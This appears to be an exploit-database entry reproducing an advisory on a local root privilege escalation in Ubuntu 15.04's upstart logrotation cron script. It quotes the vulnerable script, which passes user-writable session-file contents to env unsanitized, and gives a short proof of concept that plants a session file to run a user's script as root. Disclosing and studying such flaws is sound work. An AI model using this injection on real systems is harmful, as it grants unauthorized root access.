Ubuntu 15.04 (Development) – ‘Upstart’ Logrotation Privilege Escalation

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• 作者： halfdog
  日期： 2015-03-12
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/41765/

• Source: http://www.halfdog.net/Security/2015/UpstartLogrotationPrivilegeEscalation/
  
  ## Introduction
  
  Problem description: Ubuntu Vivid 1504 (development branch) installs an insecure upstart logrotation script which will read user-supplied data from /run/user/[uid]/upstart/sessions and pass then unsanitized to an env command. As user run directory is user-writable, the user may inject arbitrary commands into the logrotation script, which will be executed during daily cron job execution around midnight with root privileges.
  
  ## Methods
  
  The vulnerability is very easy to trigger as the logrotation script /etc/cron.daily/upstart does not perform any kind of input sanitation:
  
  
  #!/bin/sh
  
  # For each Upstart Session Init, emit "rotate-logs" event, requesting
  # the session Inits to rotate their logs. There is no user-daily cron.
  #
  # Doing it this way does not rely on System Upstart, nor
  # upstart-event-bridge(8) running in the Session Init.
  #
  # Note that system-level Upstart logs are handled separately using a
  # logrotate script.
  
  [ -x /sbin/initctl ] || exit 0
  
  for session in /run/user/*/upstart/sessions/*
  do
  env $(cat $session) /sbin/initctl emit rotate-logs >/dev/null 2>&1 || true
  done
  
  On a system with e.g. libpam-systemd installed, standard login on TTY or via SSH will create the directory /run/user/[uid] writable to the user. By preparing a suitable session file, user supplied code will be run during the daily cron-jobs. Example:
  
  
  cat <<EOF > "${HOME}/esc"
  #!/bin/sh
  touch /esc-done
  EOF
  chmod 0755 "${HOME}/esc"
  
  mkdir -p /run/user/[uid]/upstart/sessions
  echo "- ${HOME}/esc" > /run/user/[uid]/upstart/sessions/x
  

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